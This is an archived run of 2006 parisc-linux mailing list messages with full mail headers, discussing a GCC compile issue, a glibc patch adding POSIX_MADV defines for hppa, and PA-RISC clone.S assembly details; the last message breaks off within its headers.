Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A5437D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 May 2006 07:28:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15448-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 May 2006 07:28:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7B5CD7D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 May 2006 07:28:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4JDSQZL019530;
	Fri, 19 May 2006 09:28:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4JDSPrm019529;
	Fri, 19 May 2006 09:28:25 -0400 (EDT)
In-Reply-To: <IZI5N7$BB103ABBA779B9B522CAFD57168EE63C@scarlet.be> from "Joel
	Soete" at May 19, 2006 09:47:31 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PvpfdyxJPTRt7OjGPjIwPb0xc2tpZAsf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23693

> Just a follow up; if I well uderstand, the compilation cmdl with -v option
> return me:
> [snip]
> Thread model: single
> gcc version 4.1.1 20060511 (prerelease) (Debian 4.1.0-4)
>  /usr/lib/gcc/hppa64-linux-gnu/4.1.1/cc1 -quiet -nostdinc -v -Iinclude
> -Iinclude2 -I/CAD/linux-2.6.17-rc4-pa1/include -I/CAD/linux-2.6.17-rc4-pa1/mm
> -Imm -D__KERNEL__ -DKBUILD_STR(s)=#s -DKBUILD_BASENAME=KBUILD_STR(page_alloc)
> -DKBUILD_MODNAME=KBUILD_STR(page_alloc) -isystem
> /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -include include/linux/autoconf.h
> -MD mm/.page_alloc.o.d /CAD/linux-2.6.17-rc4-pa1/mm/page_alloc.c -quiet
> -dumpbase page_alloc.c -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -march=2.0 -mschedule=8000 -auxbase-strip mm/.tmp_page_alloc.o -O2 -Wall
> -Wundef -Wstrict-prototypes -Wno-trigraphs -Wdeclaration-after-statement
> -Wno-pointer-sign -version -fno-strict-aliasing -fno-common
> -fomit-frame-pointer -ffunction-sections -o - |
>  /usr/bin/hppa64-linux-gnu-as --traditional-format -V -o mm/.tmp_page_alloc.o -

Joel, would you send me offline the preprocessed .i file for the above.
I would like to try the compilation on a machine with more memory.  It's
a bit surprising that most of the time is spent in the expand pass.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing POSIX_MADV_* defines in bits/mman.h
Date: Wed, 24 May 2006 01:39:30 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20060524013930.c0b80171.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Wed__24_May_2006_01_39_30_+0200_s/yvmlKUVFcPV_Sj"
X-Trace: ger.gmane.org 1416624091 19636 80.91.229.3 (22 Nov 2014 02:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2006 23:02:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 24 May 2006 01:02:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D08397D66D;
	Tue, 23 May 2006 17:02:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30038-07; Tue, 23 May 2006 17:02:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 636537D668;
	Tue, 23 May 2006 17:02:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68C787D664
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 May 2006 17:02:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30038-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 May 2006 17:02:06 -0600 (MDT)
Original-Received: from outmx006.isp.belgacom.be (outmx006.isp.belgacom.be
	[195.238.4.99])
	by free.linux.hp.com (Postfix) with ESMTP id 3B1E07D660
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 May 2006 17:02:06 -0600 (MDT)
Original-Received: from outmx006.isp.belgacom.be (localhost [127.0.0.1])
	by outmx006.isp.belgacom.be (8.12.11.20060308/8.12.11/Skynet-OUT-2.22)
	with ESMTP id k4NN22Y5007131
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 01:02:02 +0200 (envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from ibiza.lln.tuxicoman.be (9.150-245-81.adsl-dyn.isp.belgacom.be
	[81.245.150.9])
	by outmx006.isp.belgacom.be (8.12.11.20060308/8.12.11/Skynet-OUT-2.22)
	with ESMTP id k4NN1uEO007084
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 01:01:56 +0200 (envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from lifestyle.wifi.lln.tuxicoman.be ([172.20.0.16] helo=lifestyle)
	by ibiza.lln.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.60) (envelope-from <gmsoft@tuxicoman.be>) id 1FifW6-0008KJ-Gw
	for parisc-linux@lists.parisc-linux.org; Wed, 24 May 2006 00:38:18 +0200
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.12; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SKJGdW9zbUko7+nGPWgnaYhkZ2hlN0pE
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23694

This is a multi-part message in MIME format.

--Multipart=_Wed__24_May_2006_01_39_30_+0200_s/yvmlKUVFcPV_Sj
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi all,

I was wondering why does the hppa glibc misses all the POSIX_MADV_* defines from bits/mman.h and jbailey confirmed that it's a bug and shouldn't be missing.

This trivial copy/paste patch attached fix this lack.


Cheers,
  Guy

--Multipart=_Wed__24_May_2006_01_39_30_+0200_s/yvmlKUVFcPV_Sj
Content-Type: text/x-patch;
 name="glibc-hppa-missing-POSIX_MADV.diff"
Content-Disposition: attachment; filename="glibc-hppa-missing-POSIX_MADV.diff"
Content-Transfer-Encoding: 7bit

Add the missing POSIX bits for memory advisory information and alignment control on hppa.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

diff -uNr glibc-2.3.6.orig/sysdeps/unix/sysv/linux/hppa/bits/mman.h glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/bits/mman.h
--- glibc-2.3.6.orig/sysdeps/unix/sysv/linux/hppa/bits/mman.h	2006-05-23 23:58:44.000000000 +0200
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/bits/mman.h	2006-05-23 23:59:18.000000000 +0200
@@ -81,3 +81,12 @@
 #ifdef __USE_GNU
 # define MREMAP_MAYMOVE 1
 #endif
+
+/* The POSIX people had to invent similar names for the same things.  */
+#ifdef __USE_XOPEN2K
+# define POSIX_MADV_NORMAL	0 /* No further special treatment.  */
+# define POSIX_MADV_RANDOM	1 /* Expect random page references.  */
+# define POSIX_MADV_SEQUENTIAL	2 /* Expect sequential page references.  */
+# define POSIX_MADV_WILLNEED	3 /* Will need these pages.  */
+# define POSIX_MADV_DONTNEED	4 /* Don't need these pages.  */
+#endif

--Multipart=_Wed__24_May_2006_01_39_30_+0200_s/yvmlKUVFcPV_Sj
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Wed__24_May_2006_01_39_30_+0200_s/yvmlKUVFcPV_Sj--



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing POSIX_MADV_* defines in bits/mman.h
Date: Wed, 24 May 2006 08:24:20 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200605240824.20762.deller@gmx.de>
References: <20060524013930.c0b80171.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624092 19645 80.91.229.3 (22 Nov 2014 02:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:32 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2006 06:24:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 24 May 2006 08:24:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F19AB7D688;
	Wed, 24 May 2006 00:24:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01481-06; Wed, 24 May 2006 00:24:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 283EE7D689;
	Wed, 24 May 2006 00:24:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F87C7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 00:24:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01481-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 00:24:23 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id DCE3E7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 00:24:22 -0600 (MDT)
Original-Received: (qmail invoked by alias); 24 May 2006 06:24:21 -0000
Original-Received: from p54AD0D74.dip0.t-ipconnect.de (EHLO p100.box) [84.173.13.116]
	by mail.gmx.net (mp033) with SMTP; 24 May 2006 08:24:21 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060524013930.c0b80171.gmsoft@tuxicoman.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Es5Ec35ibGI0oKaDYmRnFeRncmZ1ZtwY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23695

Hi Guy,

On Wednesday 24 May 2006 01:39, Guy Martin wrote:
> I was wondering why does the hppa glibc misses all the POSIX_MADV_* defines from bits/mman.h and jbailey confirmed that it's a bug and shouldn't be missing.
> 
> This trivial copy/paste patch attached fix this lack.

Thanks for noticing!

But your patch misses at least the "new" madvise() parameters as well:
/* common/generic parameters */
#define MADV_REMOVE     9               /* remove these pages & resources */
#define MADV_DONTFORK   10              /* don't inherit across fork */
#define MADV_DOFORK     11              /* do inherit across fork */

See: http://cvs.parisc-linux.org/linux-2.6/include/asm-parisc/mman.h?view=markup

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing POSIX_MADV_* defines in bits/mman.h
Date: Wed, 24 May 2006 11:24:49 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440605240824i84b0866x471036953efc8a01@mail.gmail.com>
References: <20060524013930.c0b80171.gmsoft@tuxicoman.be>
	 <200605240824.20762.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624092 19658 80.91.229.3 (22 Nov 2014 02:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 "Guy Martin" <gmsoft@tuxicoman.be>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <patofiero@gmail.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2006 15:24:59 -0000
Original-Received: from wr-out-0506.google.com (EHLO wr-out-0506.google.com) [64.233.184.232]
  by mx0.gmx.net (mx008) with SMTP; 24 May 2006 17:24:59 +0200
Original-Received: by wr-out-0506.google.com with SMTP id 67so1644837wri
        for <deller@gmx.de>; Wed, 24 May 2006 08:24:53 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=M6biMXBK6iJ4p6AUkdkEGcpMgWuAENCcA28rVTxt/YHQhPObdmbqqypZ7r3udCVStv5L3SSeQGxI3/oWfmEITfj5rb1f/1X8Wlmmznh9rrR4uop9Sv4a8+iqbXkotT3Emy6fN2Lm7kKBTPw+O2RbComcKPFSTg4ts3xFrzHLi0c=
Original-Received: by 10.54.120.7 with SMTP id s7mr2334915wrc;
        Wed, 24 May 2006 08:23:59 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Wed, 24 May 2006 08:24:49 -0700 (PDT)
Original-Sender: patofiero@gmail.com
In-Reply-To: <200605240824.20762.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: bd4370e496b81a44
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qQsdKyNJMydynYigZWpl1R5raGRhZlrf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23696

On 5/24/06, Helge Deller <deller@gmx.de> wrote:
> Thanks for noticing!
>
> But your patch misses at least the "new" madvise() parameters as well:
> /* common/generic parameters */
> #define MADV_REMOVE     9               /* remove these pages & resources=
 */
> #define MADV_DONTFORK   10              /* don't inherit across fork */
> #define MADV_DOFORK     11              /* do inherit across fork */
>
> See: http://cvs.parisc-linux.org/linux-2.6/include/asm-parisc/mman.h?view=
=3Dmarkup

Helge,

Be careful that these are the non-POSIX definitions. They also need to
be added to glibc. I'll do that right now.

Cheersr,
Carlos.



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fw:Some questions about your clone.S patch for glibc
	hppa port:
Date: Wed, 24 May 2006 21:09:03 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <IZSAJ3$02AA95A81D5AA8D700871676713F4C99@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624092 19671 80.91.229.3 (22 Nov 2014 02:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:32 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2006 19:09:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 24 May 2006 21:09:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0D137D6C7;
	Wed, 24 May 2006 13:09:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08999-03; Wed, 24 May 2006 13:09:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CA327D6CB;
	Wed, 24 May 2006 13:09:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ADBB7D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 13:09:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08714-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 13:09:23 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id D15BB7D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 May 2006 13:09:22 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k4OJ94L23969; 
	Wed, 24 May 2006 21:09:10 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 62.235.235.61
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SphBcGJcTiEtoqyUaGRwIRF1ZUVSRBcc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23697

Hello Carlos,

Sorry, I did have any more cvs access (here at the office) to grab latest=
 cvs
stuff (to be able to present you a patch idea) but I have few questions:

    1/ could we (/you/I), use some macro of hppa/sysdep.h.diff like:
        SAVE_PIC(SREG), LOAD_PIC(LREG) that would look like:
[snip]
-       /* Save the PIC register. */
-#ifdef PIC
-       stw     %r19,-32(%sr0, %sp)     /* parent */
-#endif
+       SAVE_PIC (TREG)
[snip]
-       /* Restore the PIC register on error */
-#ifdef PIC
-       ldw     -32(%sr0, %sp), %r19    /* parent */
-#endif
+       LOAD_PIC (TREG)
[snip]

    2/ and may be also some SYS_ify like :
-       ldi     __NR_clone,%r20
+       ldi             SYS_ify (clone), %r20


But that's just some change in writing. Otoh, I much more worry of some
functional detail:
[snip]
+	/* Something bad happened -- no child created */
+.Lerror:
+
+	/* Set errno, save ret0 so we return with that value. */
+	copy	%ret0, %r3
 	b	__syscall_error
 	sub     %r0,%ret0,%arg0
+	copy	%r3, %ret0
+	/* Return after setting errno, and restoring ret0 */
+	bv	%r0(%rp)
+	ldwm	-64(%sp), %r3
[snip]

The idea is about "b	__syscall_error".

Afaik, this would be actualy translated as "b,l __syscall_error, r0"?

If yes (as test makes me believe), you would lost rp and __syscall_error(=
)
couldn't return to "copy r3,ret0"?

Thanks in advance for your attention,
    Joel

=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HPMC in ppa_init()
Date: Thu, 25 May 2006 09:02:50 -0600
Lines: 488
Approved: news@gmane.org
Message-ID: <20060525150250.GA6616@colo.lackof.org>
References: <20060525121929.DWFD5348.web2@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624093 19683 80.91.229.3 (22 Nov 2014 02:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:33 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 kyjung@datatek.co.kr
To: ?????? <jyson@datatek.co.kr>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2006 15:02:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 25 May 2006 17:02:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6A77D6CA;
	Thu, 25 May 2006 09:02:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
